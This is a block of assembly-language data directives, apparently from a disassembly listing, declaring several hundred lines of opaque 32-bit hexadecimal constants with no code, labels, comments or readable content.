		dd 99B9807Ch, 6B07B180h, 56879F3Eh, 0C9607FE7h,	3050E0FAh
		dd 987170BBh, 0EF004B63h, 84673739h, 3D05CE8h, 93B16DB8h
		dd 283F77D8h, 0DF3160BBh, 7B3E99ACh, 5F690039h,	337B214Bh
		dd 0A900B2FBh, 1760EF0Bh, 7AD3A0h, 0E078C8A8h, 0B1990342h
		dd 109E9D30h, 0F4307h, 9426389Ch, 7BDFC47Fh, 0BB4E800Ch
		dd 0E126971h, 0CFB357A0h, 9B1BA643h, 5CC1D828h,	6A22C000h
		dd 93103A39h, 34C77CEh,	0E7985FC4h, 6842C957h, 67B90118h
		dd 94F3DD62h, 6B55ED0h,	0DB568669h, 330C6028h, 681D42FCh
		dd 0DCBB103Bh, 6A9801DFh, 619D5B86h, 45E089F5h,	0A0C3EBC8h
		dd 18D39CF0h, 71CA1349h, 7F0095F9h, 0F77BE924h,	186CBB8Ch
		dd 0F99F8BB1h, 0DE55ECB9h, 472080F0h, 1F20DD68h, 18C8A495h
		dd 31B588B1h, 4066F6Ch,	0C3102D6Dh, 65CB0039h, 0BF3A8B80h
		dd 4D0022D8h, 0AD336739h, 0ED570B1h, 38E9D40Ch,	498E8AE6h
		dd 6168BB30h, 4BB38Dh, 2E57233Fh, 0AD87A381h, 0F416701h
		dd 7FC6E30Bh, 39B8B7FDh, 0F5493500h, 0D5DCA060h, 0DF943Ah
		dd 0FFF90D8Ch, 0B7B363h, 99B0EFA3h, 0EEB86EA5h,	80A9DD60h
		dd 2A6AE8A6h, 1900C49h,	7FA11BB1h, 0D098CBD7h, 0DFF8CC9Eh
		dd 4C724E24h, 7BD3C983h, 20310C22h, 11B96B1Eh, 0D859C660h
		dd 3AEF2Fh, 73CEBAD5h, 6C6B1415h, 44D329C2h, 0B7C8901Fh
		dd 0C0E4ABEDh, 487D3C7Fh, 510C38FCh, 4A19C910h,	89590F02h
		dd 407329EBh, 0ABDAB20h, 0B93EE0E3h, 91688084h,	7D2C67DFh
		dd 0AFEE5800h, 53BB08C3h, 0E8A96437h, 85DC880Fh, 9E86E500h
		dd 0CE3C46B6h, 50A80341h, 6A0DC3ABh, 1D352590h,	0A7981B00h
		dd 869F0948h, 592B0A79h, 78C93D1h, 41E3F5C4h, 9C6E1B20h
		dd 0A50FEFD9h, 0A71C8161h, 3BE5E73Eh, 2F427DCh,	821EE8D6h
		dd 0EE18F3A6h, 2FAC3814h, 370C349Fh, 6596C049h,	2400A43Bh
		dd 0D3561CE4h, 94BF17h,	70CD6BABh, 7E8B61D2h, 6F20AF60h
		dd 0F285FA4h, 3BE673EBh, 2A340858h, 1F5A0600h, 24309AC4h
		dd 18CF6193h, 9DDA7AEBh, 0E3807308h, 0BC418C66h, 4F1000E7h
		dd 16A7C01Dh
		dd 6300F3C6h, 0AFB68219h, 0C8E62BBEh, 0EE80E761h, 0A23270E1h
		dd 0D4BB0018h, 4A96F2C2h, 0E8447B10h, 0BCCB0693h, 204E44E6h
		dd 0A324C81Ch, 142C45C0h, 0C720BD32h, 5B7526B9h, 78A9B000h
		dd 3B00E121h, 8BBABD4Ch, 3A1A2D71h, 3C181C0Ah, 7BCB8190h
		dd 6969BB60h, 79AD92Ah,	0E42B708Bh, 85655AFh, 0CB84358Ch
		dd 1E6E43h, 0F380CF12h,	320645D4h, 1DBD6FA4h, 0ECD51F29h
		dd 594A80F8h, 2AE9B2C3h, 9364A41Fh, 67252030h, 44A4A4A2h
		dd 1C0044E2h, 0B4FD2D28h, 0EE695B08h, 0E37F05ADh, 207AFCD9h
		dd 2DB4C888h, 89151606h, 7D49A343h, 1DEC9Eh, 0BC6D8F27h
		dd 0DFCD4F18h, 95777F00h, 26A5A87Bh, 319C6565h,	2F58427Eh
		dd 0CA21542h, 44EEC8Ch,	0A3A5F91Fh, 0C3097981h,	3AD07FBBh
		dd 9BE504C6h, 8C3C35B9h, 0BF009208h, 0D58AB81h,	0D8A87Ch
		dd 830F35A9h, 20EF433Dh, 32160526h, 0C4E3B40Ah,	0F2C53540h
		dd 46FD1EABh, 197A0AD4h, 0B41FBCBCh, 0C723814Ch, 703BFDE2h
		dd 8AF416AAh, 0DE70D601h, 0E4EFF9D4h, 0CC8781BEh, 0CA7B626Ch
		dd 0BE406090h, 550096EEh, 14E08ADEh, 79FE33h, 57618F5Bh
		dd 7F269374h, 22A49B44h, 91CC3369h, 0E9C61E1h, 3D5548A9h
		dd 0BF107721h, 0F55BF01Eh, 19F9C90Ch, 28DF29DEh, 670E69Eh
		dd 7D260DD2h, 0D3156198h, 78B499DFh, 9F18C104h,	3887B4D4h
		dd 2C288788h, 9011BC7Ah, 2F233E00h, 70945DA5h, 0FCFA43h
		dd 5040DA80h, 0B635BDEEh, 40D37A28h, 1FE69A01h,	3212D957h
		dd 0A4602F21h, 10DE3E51h, 6A338D02h, 4842C218h,	48D37C00h
		dd 7212C06Dh, 901FCB17h, 0B40C0022h, 3356025Eh,	0DF607AE3h
		dd 0F80D1C19h, 8E720090h, 843BC1E8h, 0E4030639h, 0BED332AEh
		dd 78D16018h, 64B4D1CEh, 600C8D07h, 29371C4Ch, 0DD7A93h
		dd 0CE829151h, 0FBBEC0C3h, 0D3DA1502h, 6467A4CCh, 0F3F88150h
		dd 296C4C40h, 3B59B0AFh, 5C127FD3h, 0A4C12F1h, 0ADB0E2CCh
		dd 6F043D40h, 9A48F800h, 0E03BD256h, 0B4F0C1E4h, 0F15D8542h
		dd 1EA0F355h, 293E186Fh, 69A03119h, 7FD04CD1h, 0C5AE00D0h
		dd 4DB7F1DBh, 37000E6Ah, 0F9D5B3BBh, 1DC6310h, 0AE6428EAh
		dd 87FE3BD6h, 0D020BE81h, 8438CB0h, 90DC0EE1h, 0D301DE5Dh
		dd 21576566h, 0A4CBD06Ch, 0E6D96863h, 0DA48062Ch, 89956625h
		dd 0D5EA418h, 0C0F53B21h, 6CB2F261h, 45768904h,	10493300h
		dd 4A01E11Ch, 3D77802h,	0A19C8839h, 42A4DFA3h, 41D25334h
		dd 0CB121044h, 265AEC98h, 0D85D5B00h, 5065CF4Ch, 0FE8C036Ah
		dd 0A4676E6Fh, 0D32135CAh, 0A1809643h, 55E297C1h, 2A1D417Ah
		dd 81532E91h, 3C9DF803h, 3697BF8h, 6FA9BE15h, 77800F66h
		dd 1E003E55h, 8A254C52h, 15E0B082h, 0F8A32656h,	18CDF111h
		dd 6B7921BEh, 0F7F50011h, 296D4687h, 71009633h,	0E7E8DA9h
		dd 75475CEBh, 43E41851h, 7A7BA19Dh, 3001FC00h, 0D3CBCCAFh
		dd 827446h, 0CA209EF3h,	0F7C4695Dh, 0DD12E7E6h,	0E83217F9h
		dd 0B3E3099h, 7E0093B8h, 48316BD5h, 90B5BF8Dh, 41360028h
		dd 3E69D428h, 6D0D1761h, 0B91FBD9Ch, 3537C0E7h,	0EE7E30F4h
		dd 0B29C69AAh, 67D960F3h, 130C084Dh, 182044D4h,	7968C5h
		dd 95506E36h, 0A23B012Ah, 0DA7BB311h, 21B72700h, 0CE9AF79Eh
		dd 0AD227201h, 395F3A50h, 7A37E1C0h, 0EB70BCFh,	480DB6D4h
		dd 7E003039h, 0DE761976h, 0E3AD9B0Bh, 338C18CCh, 0D0230379h
		dd 2862DE47h, 7A256C98h, 0A2008CA4h, 307DC159h,	26817BE5h
		dd 40EC3C0Eh, 0E1C2541Eh, 65AFA903h, 0AAD2FECEh, 0C4E84364h
		dd 0CF0B0D9h, 38B13Ch, 0C51148E9h, 6F0AB30Dh, 50F17F7Dh
		dd 391CBD0Ch, 0D9E20042h, 8E604F82h, 983D25EAh,	642F03B3h
		dd 1F1BBC4Bh, 40ED8629h, 707C14FBh, 80A139A2h, 0B8280865h
		dd 3BF51880h, 0ED0481FBh, 9DA9E000h, 0BEF2D2DEh, 0C65C01C9h
		dd 28369515h, 26BDE0D8h, 812741C0h, 0CD5B06h, 0A1046A24h
		dd 0E999CBD1h, 7B247158h, 0C33B89h, 0F09FFE61h,	0E08B1D96h
		dd 8D41BF00h, 30E5D2DFh, 0F93B30AEh, 0D57B2729h, 91C45C00h
		dd 0A92DADC1h, 2FF30109h, 669CA7DEh, 0E82BE04Ah, 0D1DC7A30h
		dd 1FAE22Ah, 9BC2B145h,	2044AFC3h, 0B330DF74h, 536B59E5h
		dd 21B41FC6h, 0CC72CB5Fh, 98B5E018h, 0BF635500h, 0F3796F4Eh
		dd 0AB8807F9h, 0A025A190h, 420BA7BAh, 64048893h, 0B482456Bh
		dd 0E0FE21A5h, 8C1EFC6Ch, 21A90400h, 59984276h,	0D8E35816h
		dd 0BD2ADF22h, 9900901Ah, 363AF506h, 2CDA13F7h,	5040F391h
		dd 0A4805A42h, 60818A66h, 21202DCBh, 194636Ch, 9CDB4B19h
		dd 4C50CEABh, 0F96845h,	2BC18F64h, 319E868Eh, 83163E0Ah
		dd 0DC68A89Ah, 0D4001E11h, 2C804DADh, 6D00D2C1h, 255DBAC8h
		dd 0C06F7926h, 0D714D359h, 0C5166CCBh, 0E408CD2Ch, 0C7D49E1Bh
		dd 0A0773A83h, 0CA0D37D7h, 4ED6E12h, 0FFAEF400h, 2CAF7468h
		dd 40C443B5h, 3B97AA23h, 0F22EEA00h, 5078D313h,	45B12B98h
		dd 45E428FCh, 99786024h, 23D088h, 72023CB0h, 0F9E15E03h
		dd 6BCED317h, 896C4404h, 8023BD21h, 0C005C841h,	2ED49EB4h
		dd 7B8405Dh, 30BE3F35h,	7DCD0A23h, 2C185548h, 7B408C43h
		dd 7D291CBh, 9FA25C2Dh,	59ED20BDh, 0E60E2B15h, 0E9354CC2h
		dd 7444BBh, 0A6DDDB5Fh,	0B27FF684h, 0F43E7702h,	0C43C1499h
		dd 0ECF0068h, 176A98C9h, 0C10F35B8h, 405E8E63h,	0A085D9A4h
		dd 3D642E2Eh, 0F2CD40A0h, 770075BCh, 6BD4DE71h,	2C881A5Ch
		dd 7F8B84Dh, 0F046D25Bh, 0FCB53C7h, 0C041424Ah,	3C528027h
		dd 1F36EED8h, 63506Bh, 8EB13987h, 4506213Dh, 0BE67249Ah
		dd 25D48090h, 0D3884462h, 0C7C4AD58h, 9C044D2h,	0C52A1Bh
		dd 0E98E79CCh, 0BA98610Dh, 9504DF03h, 0C915D48Fh, 0F71326BDh
		dd 3FD8219Bh, 6EE62588h, 4A0E9701h, 0B56C5619h,	0D5D041F6h
		dd 0CD82410h, 8B4E3E0Fh, 0B42EA779h, 0BE8F6200h, 89CA3CA5h
		dd 58413101h, 42D21398h, 78E13C80h, 80602C73h, 0E78E092h
		dd 260C0967h, 449761h, 5A327705h, 0B0229ADFh, 994CC2CAh
		dd 2067B2B8h, 7FC0545Ch, 77A128B1h, 10663700h, 0DD8C4ECFh
		dd 1C630ED7h, 57406154h, 6426A618h, 8822994Ah, 0FB9A109Dh
		dd 332CBCA1h, 0A62E006Ch, 70EAE2A7h, 0B37D1676h, 0DFA00522h
		dd 460C83C9h, 756F5022h, 2A0C2CFDh, 11E4A638h, 0BEAD01E5h
		dd 0A5DF327Dh, 4C70C832h, 10961CF3h, 6F024490h,	78B36916h
		dd 7E252C40h, 0D4ACA096h, 0EE622BC0h, 0F41F5875h, 67A7B202h
		dd 94505924h, 55E744h, 0BED34389h, 5D6A0AD7h, 8B77A000h
		dd 0F2CB1DACh, 0DF7D7Bh, 0ADBF061Ch, 94D3DABCh,	7AEB89C3h
		dd 7E4900E9h, 24725330h, 0A4142B1Ah, 81C4B76Ah,	1035EE21h
		dd 26188882h, 20B0997Fh, 8E0012AEh, 49BCF02Bh, 0B87CA9C3h
		dd 0BDDA44B0h, 0DC2544h, 18F25804h, 0BC662F65h,	43F9F600h
		dd 0AF293DB7h, 957F376Fh, 0C82405C0h, 0BF004608h, 6DC9F1AEh
		dd 0C61D251h, 0B0A9B4A0h, 0DC451628h, 0B1008863h, 959D78A4h
		dd 0E75CEEF9h, 222DDB8h, 2696746Fh, 5C66A16Bh, 31F81E45h
		dd 0F174A2h, 3A65FDB5h,	0E54452B0h, 0BD3ECC06h,	15886A83h
		dd 0B871DBA8h, 19C0784Ch, 0CEC22FDDh, 10C1000h,	0C6D78779h
		dd 0B843009Dh, 86F695F7h, 0B022DFFCh, 18C105E5h, 30BBD3B7h
		dd 26F2CAACh, 0A4834B3Dh, 9B0868E8h, 80C19FE7h,	284C6CA7h
		dd 8D045F18h, 0ECBD458Fh, 914250E0h, 6F24002Ch,	1D632F94h
		dd 3E69D704h, 70141721h
		dd 806E7910h, 60894265h, 0C4B258DEh, 45D4BA80h,	0D3043B36h
		dd 7B484166h, 9108E4h, 1E194F80h, 0CA2786BDh, 0FE0C160Eh
		dd 382C0076h, 1F48754Eh, 0A6C6C7F3h, 0BF780A18h, 150A2F0h
		dd 4890BBCDh, 63AB43DDh, 0E4320004h, 9BBCE2CBh,	0B5190E47h
		dd 282096E7h, 3FB9F56Ah, 0E57F8706h, 3014F2F4h,	4699AE5Ch
		dd 581395D5h, 3830A6DFh, 98F797F3h, 1F5E223Ch, 2BC2D400h
		dd 5CCB82CFh, 0C113027h, 51167019h, 6D77448h, 0A46525E7h
		dd 81209199h, 0BA8F0854h, 0FCB0ED71h, 7D0957BFh, 2419AE70h
		dd 0D25DFAA4h, 0CE642064h, 0F92EE548h, 0D4604416h, 30EAB063h
		dd 9BB1F63Bh, 6F0016D6h, 37BAF070h, 7F22AF5Bh, 0C6830088h
		dd 6D8A92ECh, 9002BF2Fh, 437FA7E6h, 0C010634Dh,	0CF074C71h
		dd 328E9BB8h, 0F9EC00D6h, 7044E1E6h, 609379CFh,	121ACD72h
		dd 0F2E81911h, 839E082Ah, 7213B021h, 0ECF2B4FDh, 224FF400h
		dd 0F307C4C8h, 28A0A73Eh, 0FCF0E887h, 19246082h, 0C4309031h
		dd 18895F20h, 0E8DD3441h, 7C3D4818h, 0A3D50B82h, 0AFFE560h
		dd 0AF6A3119h, 21870F08h, 0F0A3CDA1h, 0FCF1FAD7h, 0DE024174h
		dd 0E28C23Eh, 0F9684097h, 1D8B800Dh, 35D6A700h,	0D7E67636h
		dd 6CE8482Ah, 851F523Eh, 1E70433Ch, 30003401h, 7F5D753Bh
		dd 3D8848D8h, 0A80777C7h, 0B3BC2B2Ah, 0DA0059Dh, 8FE470D2h
		dd 888C4400h, 1DE59FCEh, 3319009Ah, 0BB027104h,	0AB0092CBh
		dd 0AC880DE1h, 25F8C1h,	2236FD53h, 0D90E984Ah, 9486E0Dh
		dd 40A118Eh, 908961E0h,	294210C3h, 7062B89Ah, 0C56B3B88h
		dd 0AF45B680h, 0FA611697h, 90556D07h, 295CE542h, 3B888B84h
		dd 48007A5Eh, 20A366D7h, 0FE890B73h, 9D5C002Bh,	8A08D00Ah
		dd 1200D224h, 565383F4h, 70F19661h, 58691844h, 0A31F5E65h
		dd 0DF4D9E04h, 1781F6E3h, 0D0ECD221h, 388C00ADh, 96C3A4EAh
		dd 2C001DF8h, 0F0D94F19h, 7497C988h, 314C00B2h,	0E80E262Bh
		dd 61093C6Bh, 251507h, 0C51EA919h, 0EAFB0051h, 636F60B6h
		dd 0CE733F9Ch, 0F4890F00h, 5AA2D257h, 29E300F1h, 37142778h
		dd 0CF0064B0h, 33A6A9A0h, 0E059846h, 0CA215613h, 0BD38B76Ch
		dd 64276703h, 98939461h, 5824A7h, 317ABF5h, 32A0540Ah
		dd 49FD2800h, 9857CED7h, 94800F83h, 0AB40FB6Bh,	5C59C182h
		dd 19D9CA00h, 62E8CDB9h, 0EEA40E2Dh, 7500784Fh,	1481FB1Dh
		dd 5AA15400h, 0E95E07ECh, 88D8E921h, 8AFC0042h,	0F144B04Ah
		dd 0E11EFF4Ch, 190AE7C4h, 9E00C009h, 0B4F4348Fh, 0CFEB0097h
		dd 281F610Ah, 80FF6DA3h, 34C0B868h, 0E4B4224Eh,	48FF002Fh
		dd 280AC2CFh, 0C901C155h, 0ED6F8BD1h, 1C20ABDBh, 0FCFA08h
		dd 8C877311h, 92944214h, 0F852AF00h, 0C7C425BEh, 0AAEB13ABh
		dd 0B4000ADh, 41EC1814h, 0D36C8000h, 9AF62FBCh,	0AA0200BAh
		dd 0C315424Bh, 4F001C2Bh, 1BE8767Ch, 0E5548h, 6FABEA52h
		dd 30BCDF9Eh, 4121240Eh, 0C5600053h, 0FC4593C0h, 0CE570026h
		dd 89B66FCh, 61F64213h,	0C5FA9F1Dh, 3A432F1Fh, 0F9E5DAC1h
		dd 308396E0h, 0BC744E77h, 0E73DE001h, 2C164C9Dh, 7DCC3C71h
		dd 0BA171EFEh, 0A3F4C011h, 593B235Ah, 6999E200h, 0CF5D90E8h
		dd 629300ECh, 0B8417792h, 0C73F8B01h, 0C6ED004Eh, 0D9DBAEFCh
		dd 0BDCA0063h, 85143D36h, 8F0116B1h, 0C6FE1886h, 0CBF090B3h
		dd 5D7806B8h, 1091BE7Ch, 9160700h, 46B629E5h, 0C53A00C3h
		dd 0A587504Eh, 0BD0F3099h, 0C0754A7Eh, 342E0353h, 21950174h
		dd 3D82E3CFh, 1457D0D8h, 7B8DAB1Ch, 0CA619D40h,	30311EFFh
		dd 6038EAC7h, 1D03E48Ah, 9A74D944h, 1CFC02Eh, 52F700C9h
		dd 9522EDF0h, 8B0086B9h, 0E5172CD9h, 5C377643h,	23002441h
		dd 8EA1DD7Dh, 84A0AD7Fh, 121E0722h, 8409EC8h, 64C710A3h
		dd 0AB77037Eh, 61B7AC99h, 135B4688h, 9A4E5100h,	0C33B31F5h
		dd 40C600C5h, 154F4967h, 0CC0F5702h, 2296888Fh,	48CF4BFEh
		dd 27283Ch, 3E523758h, 0E09ABFB0h, 0C19C3C00h, 0A0A5DA8Bh
		dd 814504C5h, 8007BE4Eh, 0F0F43F04h, 524E1F8h, 5F04D730h
		dd 0BDC08E85h, 0CFF30Eh, 2E885495h, 936EBA4Fh, 643D781Ch
		dd 20E72149h, 1CCD4A04h, 5FB5078Dh, 50393061h, 0DF718BDBh
		dd 90E5661Ch, 780FA1Fh,	0BFF3AAA6h, 0B9FF0064h,	522E7EC7h
		dd 63008045h, 72C93EB4h, 37B555Eh, 291FE94Ah, 8050D4D5h
		dd 0C100C807h, 55E07F5Bh, 794EC2Eh, 235615F0h, 0D42F10E9h
		dd 6A0009C8h, 35C13D47h, 28894964h, 0BD6B4F0h, 5662C9D9h
		dd 5B2C1280h, 7C0B151Ch, 765C17h, 0EEF7949h, 577F3F0Ah
		dd 9DF2807h, 4C6B70C3h,	40C02F65h, 2D05BE12h, 63430C34h
		dd 0C7197E3Ch, 3EC8D50Bh, 3850D4E8h, 1C4FF700h,	401A3C7Ch
		dd 643B9700h, 44BE0BACh, 34B086h, 0EBCE4B8Ah, 13D6A6F7h
		dd 0FBE49000h, 0CCBA1AF8h, 0EE59E60Dh, 43D300F9h, 0C2148362h
		dd 250FB1E6h, 0A04F5468h, 1FE5F5C7h, 0EEF3058Eh, 80D56FBCh
		dd 82B1B210h, 28E42003h, 0F001F077h, 0D0EBC5h, 3F9DCE93h
		dd 6BD181Eh, 5B76FE01h,	38A06FCAh, 0E13034h, 150A83FDh
		dd 4E872AB4h, 0C4851317h, 30BE7303h, 0D3D9B86Fh, 528913B2h
		dd 837700C0h, 0F1148454h, 0B93D5700h, 9A793A6Bh, 5A3103ADh
		dd 0B721EE4Fh, 7A502101h, 114D87F4h, 0C02C109Fh, 97923926h
		dd 0E41DC5C2h, 4540512Dh, 86EF1247h, 8E500015h,	0F6396938h
		dd 0A900779Fh, 687DB87Ah, 0F52E941h, 0C167EFCBh, 1D4C6580h
		dd 353919E2h, 746A2D7Ch, 214E0B16h, 9240F001h, 0E2C3E8ADh
		dd 0C8085904h, 0C0E6ABh, 0EA9E56h, 0A8B094E7h, 3DD443A3h
		dd 2869DB24h, 0FEDFA980h, 766C1BCBh, 2FB751Fh, 6EBD0A3Bh
		dd 0F17887C7h, 0C1A44700h, 2CD24090h, 429B1F36h, 7E2E4355h
		dd 0C290E639h, 0AB0093C4h, 17070432h, 9981F1Dh,	0D3B90586h
		dd 0A7487000h, 0D80BF549h, 896695E6h, 0EF4480CCh, 0B5CFB8h
		dd 0E4404553h, 8ABB9A3Bh, 0DBC26C00h, 0AF0108AAh, 8DC3039Fh
		dd 0BADF5695h, 29EC5BA8h, 0FD067798h, 0EBC8DB30h, 0E3B80910h
		dd 0DE00B572h, 7E4AD740h, 0B9099E7Ah, 0D895FF48h, 283800BFh
		dd 94B63DCFh, 88C0B4A7h, 41C9FA8Ah, 1080F3CEh, 99FDF95h
		dd 2A39FD58h, 994CFE10h, 6AA10048h, 9F62C5F0h, 0E83A0048h
		dd 0ECA01D9Ch, 2A4818CFh, 70D20038h, 0FF960652h, 1F401C6h
		dd 2B3BA06Dh, 0A8A0F7DCh, 3C0F4932h, 0E0F2755Ah, 0EBCD6460h
		dd 2D370F79h, 4F5F27B1h, 4CE088CEh, 0E06557FAh,	4B91D105h
		dd 6080A32Fh, 31E7E444h, 7A11E114h, 8680DE5Ch, 0A489AD5Eh
		dd 0A8DC1F00h, 3A2378AAh, 1D5D029Fh, 0F2155F6h,	0E2AF1C40h
		dd 0C6110200h, 0F72CA015h, 89B5022Fh, 0AA904191h, 53C166C0h
		dd 56D8F000h, 0DDC0741Fh, 0E8B72CDEh, 57EE00F5h, 0D87BCC72h
		dd 0D7A4F104h, 4FC3BAAEh, 9B6901Bh, 5FC70392h, 989E1738h
		dd 724AF7E8h, 0E2F52500h, 0C121F206h, 52542E85h, 70591836h
		dd 28002484h, 0D4800470h, 0CD1FE57h, 5840F2BCh,	0A32E8920h
		dd 4F0057A0h, 8D8C2C6Ch, 818A000Eh, 0DD3A2641h,	85009CECh
		dd 59EAC8CBh, 0A219D0h,	44BD6EA4h, 984FEFC6h, 0F5C26501h
		dd 0E4C85DE8h, 1530ACF9h, 2EA800DBh, 0A3A51732h, 98C851C3h
		dd 9AFE6056h, 0AE010565h, 7F630A96h, 53F8C7B0h,	37B90035h
		dd 16EC215Eh, 0E00085DDh, 0D57E89Ah, 77581AD4h,	4A30000Ch
		dd 0A499FF5Dh, 0B80FF32Ch, 40ADEA8Fh, 0B93574Dh, 0D03E0054h
		dd 0C4556336h, 6AFA2ED5h
		dd 9A34BC01h, 8090C6DEh, 8CC370h, 754ED2AFh, 0BA198A3Eh
		dd 0F67F3A18h, 975931h,	0B23BF3B6h, 0E4A08D3h, 0F8142900h
		dd 4C30AD26h, 2FFF0022h, 113C44E1h, 0E4E28198h,	1F381F3Dh
		dd 37406D28h, 0D633414Eh, 0D3A11D2Eh, 42468110h, 70C818A2h
		dd 53004CA1h, 861E37DFh, 0B25F9Bh, 1C59F13Ch, 0BD44A083h
		dd 23BF2000h, 97C429D7h, 753300BCh, 45FDA5C6h, 0CF00DD77h
		dd 34E57454h, 724753h, 5EBC559Fh, 79E33BF0h, 823D0400h
		dd 0DA284994h, 660E1D11h, 0E5BC408Dh, 0CCC2340Dh, 4CC52B00h
		dd 7B6873C8h, 945400A8h, 4BB8B4B2h, 384CD11Ch, 0AB45001Eh
		dd 4AA41262h, 3B09836h,	98CFC979h, 9498F868h, 0A3F0D316h
		dd 13152300h, 0FE9A0AC7h, 96800F6h, 0F5B6D995h,	857F42A0h
		dd 4800F2FCh, 8E63ED72h, 3D1F060h, 0CA4534B3h, 9B8657Ah
		dd 9A00C881h, 4DAF1C47h, 1438Dh, 0FF56E0C0h, 0BB3EF220h
		dd 0FDD21700h, 0A047C2F8h, 0A8910013h, 29DD05D1h, 850106E6h
		dd 1890B61Eh, 9DE8A3DCh, 0C91C01A2h, 42DB12E9h,	3D6BE4E7h
		dd 0B2851A00h, 0E0376865h, 9320103h, 821D8FEBh,	0BA7C83E7h
		dd 0C99B9526h, 7CFCB7C5h, 32D008Ch, 0E76A4B9Ah,	3700623Dh
		dd 0FA58CDD6h, 0BD8797h, 0EC35A31Eh, 20AAB53Ch,	0FE25A603h
		dd 883D6FCEh, 0ECA258DCh, 48BF00F4h, 74A95B75h,	0B0602E15h
		dd 36A8710h, 29F03A8h, 373FE5EFh, 0B2AB1598h, 0B30085ECh
		dd 0D8A40B43h, 0C5BD3Ch, 2C27D16Bh, 83B25CFEh, 7288280Fh
		dd 70CE450Fh, 58B9C00Ch, 0BA7B001Dh, 568E7371h,	3700850Bh
		dd 0DB57CFD5h, 9660C3h,	40996B28h, 0E8B538C6h, 4CA047B8h
		dd 9E707A15h, 0AF119003h, 91BC51CAh, 4D8AB4Fh, 0CCA21E2Bh
		dd 3A98C0B5h, 0D74319FEh, 28EC380Eh, 0F660433Ch, 0AFC03EA9h
		dd 0E682D880h, 71F35266h, 1B89AC00h, 0E944FC6h,	506900BEh
		dd 6DE4123Eh, 0A009FA7h, 9A28A309h, 0FA0D193h, 8F4CC46h
		dd 80A6EC04h, 3FA7412Ch, 5C044F3Ch, 0BE323B94h,	9780188Eh
		dd 4DB864h, 0A90E1F7Ah,	5FC9F607h, 8054653Bh, 3F36CA30h
		dd 3CCD98h, 4446ABDEh, 2412EF99h, 860F06F4h, 60D627FAh
		dd 957BDCF2h, 564D0071h, 5716A8F3h, 4A5C13BDh, 0C36C01B2h
		dd 0F4B31CB9h, 8805E8h,	45581D23h, 0A2E550DEh, 0A8C93Eh
		dd 9A223CB8h, 0D2E964h,	0BC254B4Fh, 0AECCCA2Ch,	745FC000h
		dd 3B96F061h, 0E09A000Ch, 0D7DAFA2Dh, 0C800ED5Dh, 0F00D283Eh
		dd 0ABE7B2h, 3C88668Dh,	72D0219Eh, 3998C800h, 938FFEBAh
		dd 0D69600A5h, 0CB8E316Bh, 5E000F6Dh, 3BD7EDCDh, 25883h
		dd 4C2B7E98h, 0EACB0577h, 80F5A900h, 90638ED8h,	44451EA7h
		dd 8B24420Ah, 6441431Ch, 6141C8EBh, 7CDA20C0h, 0BA2C76h
		dd 0AF0A2A29h, 96A34B86h, 0C6E76900h, 7EC42835h, 30C100CDh
		dd 24DE19D2h, 6F1D814Fh, 950744B7h, 0A0A31B48h,	0C4D5C1E9h
		dd 0A5AF4180h, 13F93BDDh, 0B1008FF8h, 0CC914A24h, 5589963h
		dd 2696DC47h, 9B09C0E0h, 0D458C3F2h, 1E730002h,	0BC69BD99h
		dd 0E58C041Ch, 0C0861B5Eh, 31E6FB68h, 0C8AD6700h, 6E1F281Dh
		dd 0F3EC0037h, 60AF866Fh, 68013222h, 282E8EACh,	68609889h
		dd 0BCD74CB5h, 0F1C9DB00h, 6B2DBD3Ah, 0EF15AF03h, 0FD599EC6h
		dd 0A0D29440h, 17572ADBh, 6BC77Dh, 5926A6F4h, 5000C147h
		dd 4EAD9B35h, 63C35143h, 404B1144h, 4C80FED0h, 87B3E13Bh
		dd 0D7B5749h, 962F9470h, 28A8C06Ah, 0BB47A468h,	65335D00h
		dd 45DB0A04h, 204E60F1h, 525362B1h, 0B80C4BE8h,	186D3CA2h
		dd 304360BBh, 64DB0934h, 70A1400h, 35F72EB5h, 31F800E4h
		dd 12A351DFh, 7C066253h, 30AA066Ah, 52291741h, 91B0708h
		dd 78401034h, 0A928E2BAh, 0DE30081Bh, 6412589Ah, 82E92C5Fh
		dd 61378088h, 29C26A7Fh, 0CE321C0Eh, 0D03B8719h, 33ABA991h
		dd 586DD894h, 5372BF80h, 64005149h, 0C657F65Eh,	195FE5Ch
		dd 2A820596h, 0F0BF3665h, 5FB008CEh, 515F6700h,	0DD397CC6h
		dd 540100CCh, 8A8CEE7Fh, 600E0B2Fh, 26DE792Ah, 509932B0h
		dd 65DCC1EAh, 3AEC11EDh, 0CB08E04h, 28441040h, 0CB887DDh
		dd 0F33F8351h, 846115D8h, 2081B0D0h, 3245AAF4h,	0F7299D82h
		dd 8BBE8D10h, 9BE721F4h, 2710EB12h, 86989B6h, 0DF914467h
		dd 7B2AF88h, 0B63D9747h, 4EA01FC3h, 0B3D95B7Bh,	52C4FA00h
		dd 3A5D704Ch, 996D1CF5h, 16E60076h, 937FB185h, 0EC278800h
		dd 8B7CF12Dh, 51CE0049h, 2371BFFDh, 55035DBAh, 0AC74624Dh
		dd 4089A833h, 1C17037Dh, 0B23C5EF2h, 26B0EFCDh,	0A5120307h
		dd 96368A2h, 811A7580h,	0E80A5D00h, 4DD4D849h, 76380082h
		dd 4880CCE5h, 0BC00BF12h, 0E1B3E485h, 90554658h, 0F7A90E6Dh
		dd 94804398h, 72EBAF51h, 0C535DF00h, 0F0D9240Eh, 2761006Fh
		dd 42E596D4h, 0E8008833h, 5FDD721Dh, 1E7C4Dh, 480C52Dh
		dd 0C8CEADD7h, 71D0D800h, 0E2DA4605h, 0F4FA00B2h, 0BDD65081h
		dd 0AF003888h, 0D79E4354h, 36A6411h, 7FCE4D63h,	7EB0F449h
		dd 1C00BA76h, 0D5D623C4h, 362D2Ch, 8004A93Ch, 92020A6Ch
		dd 6107E3F8h, 8A94264Dh, 0B7AF15B0h, 63B10383h,	0D034E796h
		dd 0C0F48198h, 1611600h, 27D84E65h, 7CA0E031h, 0F83C4CAFh
		dd 809AB21Eh, 63A30F15h, 7BF8B908h, 0EFD4FA0Eh,	331DA05Dh
		dd 15578E5h, 3556C2F3h,	70056479h, 0BE3B04D8h, 0B2A203BDh
		dd 0C0AC13FCh, 3657343h, 552D36F7h, 9983561h, 7900561Ch
		dd 0D276685h, 0F3E17C4h, 594DEBACh, 0D41C0173h,	80825FA7h
		dd 0B0E40B5Ah, 60505DFDh, 446E703Ch, 0CB00BF40h, 0E9BEAEBh
		dd 0E5F8F9h, 0E8900A59h, 78CA6E0Bh, 0DB1AE401h,	1DF6FB4Ch
		dd 3277F0h, 7D429546h, 0C389DC09h, 9A9D4300h, 0E166C7F0h
		dd 54B50047h, 0E3323CEEh, 0FCA1D852h, 4057FAB8h, 6CF08Dh
